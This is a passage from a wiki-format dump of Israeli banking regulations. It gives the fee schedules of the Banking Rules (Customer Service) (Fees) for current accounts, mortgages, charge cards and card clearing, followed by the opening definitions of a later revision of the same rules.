| width=&quot;30%&quot; | : 1. &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''דמי ניהול'''
| (((נמחק)))
|
|- &lt;עוגן פרט 2&gt;
| rowspan=&quot;2&quot; | : 2. &lt;!-- (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ה, תשע&quot;ו, תשע&quot;ט, תשפ&quot;ד) --&gt; '''פעולות בסיסיות'''&lt;sup&gt;1&lt;/sup&gt;
| : (א) פעולה על ידי פקיד (פעולות בסניף, כולל פעולות באמצעות טלפון או פקס', באמצעות מוקד טלפוני מאויש) {{ש}} {{מוקטן|שירות זה כולל אחת הפעולות האלה, הנעשות באמצעות פקיד בנק, לרבות באמצעות מוקד טלפוני מאויש: הפקדת מזומן, משיכת מזומן, הפקה ומשלוח תדפיס לבקשת לקוח, העברה או הפקדה לחשבון אחר, פדיון שיק (כולל משיכה בשיק עצמי), הפקדת שיק (לכל קבוצת שיקים - עד 20 שיקים), תשלום שובר, פריטת מזומן.}} {{ש}} {{מוקטן|לקוח שאינו מחזיק כרטיס למשיכת מזומן, לקוח שהוא אדם עם מוגבלות ולקוח שהוא אזרח ותיק, זכאים ל-4 פעולות על ידי פקיד, בחודש, במחיר פעולה בערוץ ישיר.}}
| .... ש&quot;ח (בפיקוח)
|-
| : (ב) פעולה בערוץ ישיר {{ש}} {{מוקטן|שירות זה כולל אחת הפעולות האלה: זיכוי חשבון באמצעות מסלקה, חיוב בכרטיס אשראי למעט כרטיס לחיוב מיידי, הפקדת מזומן, משיכת מזומן במכשיר אוטומטי&lt;sup&gt;2&lt;/sup&gt;, העברה או הפקדה לחשבון אחר, תשלום שובר, שאילתת מידע בכל נושא (החל בשאילתה השביעית בחודש)&lt;sup&gt;3&lt;/sup&gt;, משיכת שיק הפקדת שיק (לכל קבוצת שיקים - עד 20 שיקים), לרבות באמצעות תיבת שירות, חיוב על פי הרשאה לחיוב חשבון או הוראת קבע((.))}}
| .... ש&quot;ח
|- &lt;עוגן פרט 3&gt;
| : 3. &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''פנקס שיקים'''
| פנקס שיקים רגיל
| .... ש&quot;ח (בפיקוח)
|- &lt;עוגן פרט 4&gt;
| rowspan=&quot;2&quot; | : 4. '''מסגרת אשראי'''
| : (א) הקצאת אשראי ליחיד (במקרה של אי-ניצול מסגרת האשראי ברבעון)
| .... ש&quot;ח לרבעון
|-
| : (ב) הקצאת אשראי לעסק קטן
| .... אחוז
|- &lt;עוגן פרט 5&gt;
| : 5. &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיסים מגנטיים'''
| (((נמחק)))
|
|- &lt;עוגן פרט 6&gt;
| rowspan=&quot;4&quot; | : 6. '''החזרת חיובים'''
| : (א) החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל וצו משפטי) {{ש}} {{מוקטן|חיוב באמצעות הוראת קבע, הרשאה לחיוב חשבון, שיק}}
| .... ש&quot;ח
|-
| : (ב) חיוב מושך בהחזרת שיק מסיבה טכנית
| .... ש&quot;ח
|-
| : (ג) (((נמחק)))
|
|-
| : (ד) הוראה לביטול חיוב {{ש}} {{מוקטן|חיוב: שיק, חיוב בודד על פי הרשאה לחיוב חשבון וחיוב בודד על פי הוראת קבע}}
| .... ש&quot;ח
|- &lt;עוגן פרט 7&gt;
| rowspan=&quot;2&quot; | : 7. '''שירותים מיוחדים'''
| : (א) טיפול במזומנים על ידי פקיד {{ש}} {{מוקטן|שירות זה כולל: משיכת מזומן, הפקדת מזומן ופריטת מזומן}}
| : '''מטבעות''' {{ש}} .... ש&quot;ח לכל 100 מטבעות
: '''שטרות''' {{ש}} .... אחוז (מעל 10,000 ש&quot;ח)
|-
| : (ב) שיק בנקאי
| .... ש&quot;ח
|- &lt;עוגן פרט 8&gt;
| rowspan=&quot;4&quot; | : 8. &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו, תשפ&quot;ד) --&gt; '''מידע'''
| : (א) הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
| : '''זמינים בסניף''' - .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
: '''אינם זמינים בסניף''' - .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
|-
| : (ב) דוחות לבקשת לקוח {{מוקטן|(למעט באמצעות האינטרנט)}} {{ש}} {{מוקטן|'''דוחות סטנדרטים, כגון:''' אישור יתרות, פירוט תשלומים של הלוואה, פירוט רכיבי תשלום של הלוואה, לוח סילוקין נוסף, פירוט תיק ניירות ערך, שיחזור תנועות בניירות ערך, אישור בעלות (החל מהאישור השני במהלך השנה), מכתב המלצה.}} {{ש}} {{מוקטן|'''דוחות הכרוכים באיסוף מידע, למשל:''' מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא סטנדרטיים.}}
| : '''דוחות סטנדרטים''' {{ש}} .... ש&quot;ח (בפיקוח)
: '''דוחות הכרוכים באיסוף מידע''' {{ש}} .... ש&quot;ח
|-
| : (ג) איתור מסמכים לבקשת לקוח
| : .... ש&quot;ח לבקשה
|-
| : (ד) קבלת מידע בתקשורת לבקשת הלקוח {{ש}} {{מוקטן|שירות זה כולל מתן מידע באמצעים כמו: פקס', טלפון, טלפון סלולרי, דואר אלקטרוני}}
| .... ש&quot;ח
|- &lt;עוגן פרט 9&gt;
| : 9. '''שירותים נוספים'''
| לשירותים נוספים ראו התעריפון המלא
|
|- &lt;עוגן פרט 10&gt;
| rowspan=&quot;3&quot; | : 10. &lt;!-- (תיקון: תשע&quot;ד, תשע&quot;ה, תשפ&quot;ד) --&gt; '''מסלול'''
| : (א) '''מסלול בסיסי''' {{ש}} {{מוקטן|מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר}}
| .... ש&quot;ח לחודש (בפיקוח)
|-
| : (ב) '''מסלול מורחב''' {{ש}} {{מוקטן|מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר}}
| .... ש&quot;ח לחודש (בפיקוח)
|-
| : (ג) '''מסלול מורחב פלוס''' {{ש}} {{מוקטן|מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי}}
| .... ש&quot;ח לחודש (בפיקוח)
|}
: (((החל מיום 1.7.2027):))
: {| width=&quot;100%&quot;
! colspan=&quot;2&quot; | שירות !! width=&quot;20%&quot; | מחיר
|- &lt;עוגן פרט 1&gt;
| width=&quot;30%&quot; | : 1. &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''דמי ניהול'''
| (((נמחק)))
|
|- &lt;עוגן פרט 2&gt;
| rowspan=&quot;3&quot; | : 2. &lt;!-- (תיקון: תשס&quot;ח, תשס&quot;ח-2, תשע&quot;ה, תשע&quot;ו, תשע&quot;ט, תשפ&quot;ד, תשפ&quot;ו) --&gt; ניהול חשבון תשלום
| 0 עד 2 פעולות בחודש || .... ש&quot;ח (בפיקוח)
|-
| 3 עד 100 פעולות בחודש || .... ש&quot;ח (בפיקוח)
|-
| פעולה נוספת מעל 100 פעולות || .... ש&quot;ח (בפיקוח)
|- &lt;עוגן פרט 3&gt;
| : 3. &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''פנקס שיקים'''
| פנקס שיקים רגיל
| .... ש&quot;ח (בפיקוח)
|- &lt;עוגן פרט 4&gt;
| rowspan=&quot;2&quot; | : 4. '''מסגרת אשראי'''
| : (א) הקצאת אשראי ליחיד (במקרה של אי-ניצול מסגרת האשראי ברבעון)
| .... ש&quot;ח לרבעון
|-
| : (ב) הקצאת אשראי לעסק קטן
| .... אחוז
|- &lt;עוגן פרט 5&gt;
| : 5. &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיסים מגנטיים'''
| (((נמחק)))
|
|- &lt;עוגן פרט 6&gt;
| rowspan=&quot;4&quot; | : 6. '''החזרת חיובים'''
| : (א) החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל וצו משפטי) {{ש}} {{מוקטן|חיוב באמצעות הוראת קבע, הרשאה לחיוב חשבון, שיק}}
| .... ש&quot;ח
|-
| : (ב) (((נמחקה))) &lt;!-- פסקה נמחקה ... --&gt; ||
|-
| : (ג) (((נמחק))) &lt;!-- פרט משנה נמחק ... --&gt; ||
|-
| : (ד) (((נמחקה))) ||
|- &lt;עוגן פרט 7&gt;
| rowspan=&quot;2&quot; | : 7. &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''שירותים מיוחדים'''
| : (א) טיפול במזומנים על ידי פקיד {{ש}} {{מוקטן|שירות זה כולל: משיכת מזומן, הפקדת מזומן ופריטת מזומן}}
| : '''מטבעות''' {{ש}} .... ש&quot;ח (לכל 100 מטבעות)
: '''שטרות''' {{ש}} .... אחוז (מעל 10,000 ש&quot;ח)
|-
| : (ב) שיק בנקאי
| .... ש&quot;ח
|- &lt;עוגן פרט 8&gt;
| rowspan=&quot;4&quot; | : 8. &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו, תשפ&quot;ד, תשפ&quot;ו) --&gt; '''מידע'''
| : (א) (((נמחקה))) ||
|-
| : (ב) דוחות לבקשת לקוח הכרוכים באיסוף מידע, למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא שגרתיים או מכתב המלצה || .... ש&quot;ח
|-
| : (ג) (((נמחקה))) ||
|-
| : (ד) קבלת מידע בתקשורת לבקשת הלקוח {{ש}} {{מוקטן|שירות זה כולל מתן מידע באמצעים כמו: פקס', טלפון, טלפון סלולרי, דואר אלקטרוני}}
| .... ש&quot;ח
|- &lt;עוגן פרט 9&gt;
| : 9. '''שירותים נוספים'''
| לשירותים נוספים ראו התעריפון המלא
|
|- &lt;עוגן פרט 10&gt;
| : 10. &lt;!-- (תיקון: תשע&quot;ד, תשע&quot;ה, תשפ&quot;ד, תשפ&quot;ו) --&gt; '''מסלול''' (((בוטל))) || |
|}

@ (תיקון: תשע&quot;ז) : {{מוקטן|1}} (()) {{מוקטן| הבנק רשאי לגבות בחודש את הגבוה מבין שני אלה: (1) הסכום הכולל של העמלות בשל פעולות בערוץ ישיר ופעולות על יד פקיד, שביצע הלקוח בפועל; (2) עמלת מינימום (([צ&quot;ל: עמלה])) בסכום שאינו עולה על מחיר של פעולה אחת על ידי פקיד.}}
: {{מוקטן|2}} (()) {{מוקטן|משיכה ממכשיר סמוך לסניף או ממכשיר נדרש באמצעות כל כרטיס, או משיכה ממכשיר מרוחק באמצעות כרטיס שהתאגיד הבנקאי הנפיק. לגבי משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי - התאגיד הבנקאי רשאי לגבות מחיר שונה, כפי שיפורט [[בחלק 9 לתוספת הראשונה]].}}
: {{מוקטן|3}} (()) {{מוקטן|יש לשים לב לסעיף 2(ד) להוראת ניהול בנקאי תקין מס' 415 [[=כללי הגילוי הנאות|ולסעיף 31 לכללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים), התשנ&quot;ב-1992]] (להלן - כללי הגילוי הנאות), שהעולה מהם הוא שהתאגיד הבנקאי אינו רשאי לגבות עמלה בעד שאילתה על מידע בסיסי כהגדרתו שם, ככל שהשאילתה פוטרת את התאגיד הבנקאי מלשלוח ללקוח, על פי [[כללי הגילוי הנאות]], מידע זה; הוראת הניהול הבנקאי התקין האמורה ניתנת לעיון באתר האינטרנט של בנק ישראל www.bankisrael.gov.il.}}
: {{מוקטן|4}} (()) {{מוקטן|(((נמחק).))}}

@ (תיקון: תשע&quot;ז, תשפ&quot;ד, תשפ&quot;ו) : '''נספחים לתעריפון, שיימסרו ללקוח:'''
: נספח א' - הטבות לקבוצות אוכלוסיה
: נספח ה' - הטבות בערוצי בנקאות בתקשורת - כמפורט [[בתוספת הראשונה]]
: נספח ו' - (((החל מיום 1.7.2027):)) שירותים הנכללים בשירות &quot;ניהול חשבון תשלום&quot; - כמפורט [[בתוספת הראשונה]]

== תוספת שלישית ==
==== ((([[סעיף 3(2)]]))) ====
=== תעריפון משכנתאות ===

@ (תיקון: תשע&quot;ה, תשע&quot;ה-3, תשע&quot;ז, תשפ&quot;ד, תשפ&quot;ו)
: {| width=&quot;100%&quot;
! colspan=&quot;2&quot; | שירות !! width=&quot;20%&quot; | מחיר
|- &lt;עוגן פרט 1&gt;
| width=&quot;30%&quot; | : 1. '''תעודת זכאות'''
| הנפקה או חידוש של תעודת זכאות
| .... ש&quot;ח
|- &lt;עוגן פרט 2&gt;
| : 2. '''פתיחת תיק'''
| טיפול בבקשה להלוואה לדיור
| .... ש&quot;ח
|- &lt;עוגן פרט 3&gt;
| : 3. &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''דמי ניהול''' (((נמחק)))
| ||
|- &lt;עוגן פרט 4&gt;
| : 4. '''הסבת ערבות'''
| הסבת ערבות לפי [[חוק המכר]]
| .... ש&quot;ח
|- &lt;עוגן פרט 5&gt;
| rowspan=&quot;3&quot; | : 5. '''שעבודים'''
| : (א) רישום שעבודים על ידי נציג הבנק אצל רשם
| .... ש&quot;ח
|-
| : (ב) הסכמה ליצירת שעבוד לבנק אחר
| .... ש&quot;ח (בפיקוח)
|-
| : (ג) שינוי שעבודים
| בבנק - .... ש&quot;ח {{ש}} אצל רשם - .... ש&quot;ח
|- &lt;עוגן פרט 6&gt;
| rowspan=&quot;3&quot; | : 6. '''גרירת הלוואה לדיור'''
| : (א) גרירת הלוואה לדיור לנכס אחר
| .... ש&quot;ח
|-
| : (ב) גרירת מענק לנכס אחר
| .... ש&quot;ח
|-
| : (ג) ערבות או פיקדון ביניים
| .... ש&quot;ח
|- &lt;עוגן פרט 7&gt;
| rowspan=&quot;2&quot; | : 7. &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''שינויים בהלוואה'''
| : (א) שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב {{ש}} {{מוקטן|כולל: {{ש}} תקופת ההלוואה, {{ש}} זהות או הרכב לווים או ערבים, {{ש}} מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד / הפרדת זכאות, מועדי פירעון, תיקון ערבות.}}
| .... ש&quot;ח
|-
| : (ב) שינויים במועד הפירעון של הלוואה לדיור לפי [[חוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]]
| .... ש&quot;ח {{ש}} (((החל מיום 1.7.2027):)) כל אחד מארבעת השינויים הראשונים בשנה .... ש&quot;ח (בפיקוח); מהשינוי החמישי בשנה .... ש&quot;ח
|- &lt;עוגן פרט 8&gt;
| : 8. '''פירעון מוקדם'''
| עמלה תפעולית
| .... ש&quot;ח
|- &lt;עוגן פרט 9&gt;
| rowspan=&quot;6&quot; | : 9. &lt;!-- (תיקון: תשע&quot;ז, תשפ&quot;ד, תשפ&quot;ו) --&gt; (((יבוטל ביום 1.7.227):)) '''מידע'''
| : (א) שאילתה בערוץ ישיר
| .... ש&quot;ח
|-
| : (ב) הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
|
|-
| :: (1) זמינים בסניף
| .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
|-
| :: (2) אינם זמינים בסניף
| .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
|-
| : (ג) דוחות לבקשת לקוח {{ש}} {{מוקטן|כולל: {{ש}} אישור יתרות {{ש}} פירוט תשלומים של הלוואה {{ש}} פירוט רכיבי תשלום של הלוואה {{ש}} לוח סילוקין נוסף }}
| .... ש&quot;ח (בפיקוח)
|-
| : (ד) איתור מסמכים לבקשת לקוח
| .... ש&quot;ח לבקשה
|- &lt;עוגן פרט 10&gt;
| rowspan=&quot;2&quot; | : 10. &lt;!-- (תיקון: תשע&quot;ה-3, תשע&quot;ז) --&gt; '''הודעות, התראות ומעקבים'''
| הודעות {{ש}} {{מוקטן|כולל: {{ש}} הודעות על פיגור בתשלומים {{ש}} התראות}}
| .... ש&quot;ח (בפיקוח)
|-
| מכתב התראה של עורר דין
| .... ש&quot;ח
|- &lt;עוגן פרט 11&gt;
| : 11. '''שירותים נוספים'''
| לשירותים נוספים העשויים להיות כרוכים בשירות של מתן הלוואה לדיור ראו התעריפון המלא
|
|}

@ (תיקון: תשע&quot;ז, תשפ&quot;ד) : '''נספחים לתעריפון, שיימסרו ללקוח:'''
: נספח א' - הטבות לקבוצות אוכלוסייה
: נספח ה' - הטבות בערוצי בנקאות בתקשורת - כמפורט [[בתוספת הראשונה]]

== תוספת רביעית ==
==== ((([[סעיף 3(3)]]))) ====
=== תעריפון כרטיסי חיוב (תיקון: תשע&quot;ה-3) ===
@ (תיקון: תשס&quot;ח, תשע&quot;ג, תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-3, תשע&quot;ה-4, תשפ&quot;ד, תשפ&quot;ו)
: {| width=&quot;100%&quot;
! colspan=&quot;2&quot; | שירות !! width=&quot;20%&quot; | מחיר
|- &lt;עוגן פרט 1&gt;
| width=&quot;30%&quot; | : 1. &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''דמי כרטיס'''
| על פי סוג הכרטיס
| בנספח המצ&quot;ב (((החל מיום 1.7.2027):)) (כרטיס חיוב מיידי בפיקוח)
|- &lt;עוגן פרט 1א&gt;
| : (1א) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''דמי טעינה'''
| (לגבי כרטיסים נטענים בלבד)
| .... ש&quot;ח
|- &lt;עוגן פרט 2&gt;
| : 2. &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''עסקה בתשלומים'''
| עמלת תשלום נדחה בשל עסקאות שבוצעו עד יום י&quot;א בשבט התשע&quot;ה (31 בינואר 2015)
| .... ש&quot;ח
|- &lt;עוגן פרט 3&gt;
| rowspan=&quot;4&quot; | : 3. '''שירותים מיוחדים'''
| : (א) &lt;!-- (תיקון: תשע&quot;ג) --&gt; (((נמחק)))
|
|-
| : (ב) טיפול בהכחשה לא מוצדקת של עסקה
| .... ש&quot;ח
|-
| : (ג) פירעון מוקדם או מיידי של עסקאות
| .... ש&quot;ח לבקשה
|-
| : (ד) הנפקת כרטיס חליפי
| הנפקה רגילה .... ש&quot;ח {{ש}} הנפקה מיידית .... ש&quot;ח
|- &lt;עוגן פרט 4&gt;
| rowspan=&quot;10&quot; | : 4. &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ה-2, תשע&quot;ה-4) --&gt; '''שירותים במטבע חוץ'''
| : (א) עסקאות בדולר או באירו
| .... אחוז
|-
| :: עסקאות במטבע אחר
| .... אחוז
|-
| : (ב) משיכת מזומן בדולר או באירו ממכשיר אוטומטי בחוץ לארץ
| .... אחוז
|-
| :: משיכת מזומן במטבע אחר ממכשיר אוטומטי בחוץ לארץ
| .... אחוז
|-
| :: משיכת מזומן בדולר או באירו בדלפק
| .... אחוז
|-
| :: משיכת מזומן במטבע אחר בדלפק
| .... אחוז
|-
| :: משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע
| .... ש&quot;ח
|-
| : (ג) (((נמחקה)))
|
|-
| : (ד) (((נמחקה)))
|
|-
| : (ה) רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי
| .... דולר
|- &lt;עוגן פרט 5&gt;
| rowspan=&quot;2&quot; | : 5. &lt;!-- (תיקון: תשפ&quot;ד, תשפ&quot;ו) --&gt; (((יבוטל ביום 1.7.2027):)) '''מידע'''
| : (א) הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
| .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
|-
| : (ב) איתור מסמכים לבקשת לקוח
| .... ש&quot;ח לבקשה
|- &lt;עוגן פרט 6&gt;
| : 6. &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; '''שירותים נוספים'''
| לשירותים נוספים, אשר עשויים להיות כרוכים במתן שירות של כרטיסי חיוב, ראו התעריפון המלא
|
|}

@ (תיקון: תשע&quot;ז, תשפ&quot;ד) : '''נספחים לתעריפון, שיימסרו ללקוח:'''
: נספח א' - הטבות לקבוצות אוכלוסייה
: נספח ד' - דמי כרטיס לפי סוג כרטיס
: נספח ה' - הטבות בערוצי בנקאות בתקשורת - כמפורט [[בתוספת הראשונה]]

== תוספת חמישית (תיקון: תשע&quot;ה) ==
==== ((([[סעיף 3(4)]]))) ====
=== תעריפון סליקה של עסקאות בכרטיס חיוב ===
@ (תיקון: תשפ&quot;ו)
: {| width=&quot;100%&quot;
! colspan=&quot;2&quot; | שירות !! width=&quot;20%&quot; | מחיר
|- &lt;עוגן פרט 1&gt;
| width=&quot;30%&quot; | : 1. '''דמי ניהול חשבון סליקה'''
|
| בית עסק פעיל - .... ש&quot;ח
|- &lt;עוגן פרט 2&gt;
| : 2. '''דמי הצטרפות של בית עסק אלקטרוני'''
| &quot;בית עסק אלקטרוני&quot; - בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)
| .... ש&quot;ח
|- &lt;עוגן פרט 3&gt;
| rowspan=&quot;6&quot; | : 3. '''שירותים מיוחדים'''
| : (א) שירותי אימות פרטים וביטוח -
|
|-
| :: (1) ביטוח עסקה
| .... ש&quot;ח לעסקה
|-
| :: (2) אימות פרטים לכרטיס
| .... ש&quot;ח לעסקה
|-
| : (ב) ביטול עסקה
| .... ש&quot;ח לעסקה
|-
| : (ג) החזר חיוב (Charge Back)
| .... ש&quot;ח לעסקה
|-
| : (ד) עיבוד שובר ידני
| .... ש&quot;ח לשובר
|- &lt;עוגן פרט 4&gt;
| rowspan=&quot;2&quot; | : 4. &lt;!-- (תיקון: תשפ&quot;ו) --&gt; '''מידע'''
| : (א) ((תימחק ביום 1.7.2027):)) איתור והפקת מסמכים
| .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
|-
| : (ב) קבלת מידע בתקשורת לבקשת לקוח
| .... ש&quot;ח
|- &lt;עוגן פרט 5&gt;
| : 5. '''אשראי'''
| טיפול באשראי ובביטחונות
| : הלוואות מעל מאה אלף ש&quot;ח .... אחוז (מינימום, מכסימום)
: ניכיון שיקים מעל 50 אלף ש&quot;ח .... אחוז (מינימום, מכסימום)
: מסגרות אשראי לעסק קטן .... אחוז (מינימום, מכסימום)
|- &lt;עוגן פרט 6&gt;
| : 6. '''עמלת סליקה'''
| לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק
|
|- &lt;עוגן פרט 7&gt;
| : 7. '''שירותים נוספים'''
| שירותים נוספים הכלולים בתעריפון המלא, בכפוף לאישור מראש של המפקח על הבנקים
|
|}

@ (תיקון: תשע&quot;ז, תשפ&quot;ד)
: נספח ה', שיימסר ללקוח - הטבות בערוצי בנקאות בתקשורת - כמפורט [[בתוספת הראשונה]]

&lt;פרסום&gt; י&quot;ז בטבת התשס&quot;ח (26 בדצמבר 2007)
&lt;חתימה&gt; סטנלי פישר נגיד בנק ישראל</text>
      <sha1>giijy9kcq3rpq7uj5esywwr0yuhbdee</sha1>
    </revision>
  </page>
  <page>
    <title>כללי הבנקאות (שירות ללקוח) (עמלות)</title>
    <ns>0</ns>
    <id>1723201</id>
    <revision>
      <id>3020674</id>
      <parentid>2923594</parentid>
      <timestamp>2026-06-18T17:01:50Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3020653] תיקון תשפ&quot;ו</comment>
      <origin>3020674</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="164142" sha1="7oorknf1egvsmj20w0gk56pb111nifa" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|כללי הבנקאות (שירות ללקוח) (עמלות), התשס״ח–2008}}

{{ח:פתיח-התחלה}}
{{ח:תיבה|ק״ת תשס״ח, 310|כללי הבנקאות (שירות ללקוח) (עמלות)|https://olaw.org.il/takanot/takanot-6637.pdf}}, {{ח:תיבה|983|תיקון|https://olaw.org.il/takanot/takanot-6678.pdf}}, {{ח:תיבה|1290|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-6705.pdf}}; {{ח:תיבה|תש״ע, 298|תיקון|https://olaw.org.il/takanot/takanot-6839.pdf}}; {{ח:תיבה|תשע״ג, 369|תיקון|https://olaw.org.il/takanot/takanot-7196.pdf}}, {{ח:תיבה|1385|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-7261.pdf}}; {{ח:תיבה|תשע״ד, 282|תיקון|https://olaw.org.il/takanot/takanot-7309.pdf}}; {{ח:תיבה|תשע״ה, 808|תיקון|https://olaw.org.il/takanot/takanot-7486.pdf}}, {{ח:תיבה|1088|תיקון (תיקון)|https://olaw.org.il/takanot/takanot-7502.pdf}}, {{ח:תיבה|1290|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-7523.pdf}}, {{ח:תיבה|1291|תיקון (תיקון מס׳ 2)|https://olaw.org.il/takanot/takanot-7523.pdf}}; {{ח:תיבה|תשע״ו, 1644|תיקון|https://olaw.org.il/takanot/takanot-7690.pdf}}; {{ח:תיבה|תשע״ז, 1693|תיקון|https://olaw.org.il/takanot/takanot-7854.pdf}}; {{ח:תיבה|תשע״ט, 3187|תיקון|https://olaw.org.il/takanot/takanot-8213.pdf}}; {{ח:תיבה|תשפ״ד, 3158|תיקון|https://olaw.org.il/takanot/takanot-11399.pdf}}; {{ח:תיבה|תשפ״ה, 82|תיקון|https://olaw.org.il/takanot/takanot-11525.pdf}}, {{ח:תיבה|1513|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-11824.pdf}}; {{ח:תיבה|תשפ״ו, 2247|תיקון|https://olaw.org.il/takanot/takanot-12431.pdf}}. ''הוספת שירותים לתעריפון המלא:'' {{ח:תיבה|י״פ תשע״ו, 9253|הודעה על אישור הוספת שירות לתעריפון המלא|https://olaw.org.il/yalkut/yalkut-7325.pdf}}; {{ח:תיבה|תשע״ח, 9709|הודעה על אישור הוספת שירות לתעריפון המלא|https://olaw.org.il/yalkut/yalkut-7877.pdf}}; {{ח:תיבה|תשפ״ב, 8392|הודעה על אישור הוספת שירות לתעריפון המלא|https://olaw.org.il/yalkut/yalkut-10527.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:מבוא}}
בתוקף סמכותי לפי {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ט|סעיף 9ט}} {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)|לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}} (להלן – החוק), ולאחר התייעצות עם הוועדה המייעצת, אני קובע כללים אלה:

{{ח:מפריד}}
{{ח:הערה|בנוסח זה משולב תיקון לכללים שתחילתו ביום כ״ו בסיוון התשפ״ז (1 ביולי 2027); על אף האמור, תאגיד בנקאי רשאי לפעול לפי הכללים המתוקנים קודם למועד התחילה האמור, ובלבד שיפעל לפי הכללים במלואם.}}
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|הגדרות|תיקון: תשס״ח, תשס״ח־2, תשע״ג, תשע״ג־2, תשע״ד, תשע״ה, תשע״ה־3, תשע״ה־4, תשע״ו, תשע״ז, תשע״ט, תשפ״ד, תשפ״ו}}
{{ח:ת}} בכללים אלה –
{{ח:ת|סוג=הגדרה}} ”אזרח ותיק“ – {{ח:הערה|תבוטל ביום 1.7.2027):}} כמשמעותו {{ח:חיצוני|חוק האזרחים הותיקים|בחוק האזרחים הותיקים, התש״ן–1989}};
{{ח:ת|סוג=הגדרה}} ”אישור עקרוני“ – אישור שנותן תאגיד בנקאי לאדם, אשר ביקש מהתאגיד הבנקאי הלוואה, ומסר לו את פרטי הנכס המסוים, שבשלו נכנסת ההלוואה לגדר ”הלוואה לדיור“;
{{ח:ת|סוג=הגדרה}} ”באמצעות פקיד“ – לרבות באמצעות מוקד טלפוני מאויש;
{{ח:ת|סוג=הגדרה}} ”בערוץ ישיר“ – בלא ממשק ישיר עם פקיד;
{{ח:ת|סוג=הגדרה}} ”דוח שנתי“ – דוח שהוא אחד מאלה:
{{ח:תתת|(1)}} דוח כספי שנתי כמשמעותו {{ח:חיצוני|חוק החברות#חלק 4 פרק 6|בפרק השישי לחלק הרביעי בחוק החברות{{ח:הערה|,}} התשנ״ט–1999}};
{{ח:תתת|(2)}} דוח שנתי למס הכנסה כמשמעותו {{ח:חיצוני|פקודת מס הכנסה#סעיף 131|בסעיף 131 לפקודת מס הכנסה}};
{{ח:תתת|(3)}} דוחות תקופתיים, כמשמעותם {{ח:חיצוני|חוק מס ערך מוסף#סעיף 67|בסעיף 67 לחוק מס ערך מוסף, התשל״ו–1975}}, ובלבד שיהיו רצופים ותקופתם המצטברת תהיה שנה אחת לפחות;
{{ח:תתת|(4)}} אישור חתום בידי רואה חשבון;
{{ח:ת|סוג=הגדרה}} ”הלוואה לדיור“ – הלוואה שמתקיים בה אחד מאלה, ובלבד שלא ניתנה למטרת עסק:
{{ח:תתת|(1)}} היא מיועדת לרכישה או לחכירה של דירת מגורים, בנייתה, הרחבתה או שיפוצה;
{{ח:תתת|(2)}} היא מיועדת לרכישת קרקע לבניית דירת מגורים או לרכישת זכות בדירת מגורים תמורת דמי מפתח;
{{ח:תתת|(3)}} היא ניתנה במשכון דירת מגורים;
{{ח:תתת|(4)}} היא מיועדת, במלואה או בחלקה, למימון פירעון מוקדם של הלוואה כאמור בפסקאות (1) ו־(2);
